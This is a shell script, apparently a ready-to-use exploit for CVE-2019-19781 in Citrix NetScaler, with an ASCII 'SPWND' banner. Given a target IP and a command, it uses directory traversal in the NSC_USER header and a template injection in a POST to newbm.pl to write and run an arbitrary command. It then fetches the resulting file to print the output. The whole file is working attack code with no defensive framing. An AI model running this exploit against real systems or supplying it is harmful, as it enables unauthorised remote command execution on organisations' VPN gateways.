#!/bin/ash
echo "--------------------------------------------
███████╗██████╗ ██╗    ██╗███╗   ██╗██████╗
██╔════╝██╔══██╗██║    ██║████╗  ██║██╔══██╗
███████╗██████╔╝██║ █╗ ██║██╔██╗ ██║██║  ██║
╚════██║██╔═══╝ ██║███╗██║██║╚██╗██║██║  ██║
███████║██║     ╚███╔███╔╝██║ ╚████║██████╔╝
╚══════╝╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝
--------------------------------------------"
if [ -z "$1" ];
then
    echo -ne 'Usage : ash CVE-2019-19781.sh IP CMD\n'
    exit;
fi

filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);
curl --insecure -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: spwnd11' -H 'Content-type:
application/x-www-form-urlencoded' --path-as-is
echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: spwnd11" -H "NSC_USER: spwnd11" --path-as-is
echo -ne "Command Output :\n"
curl --insecure -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: spwnd11" -H "NSC_USER: spwnd11" --path-as-is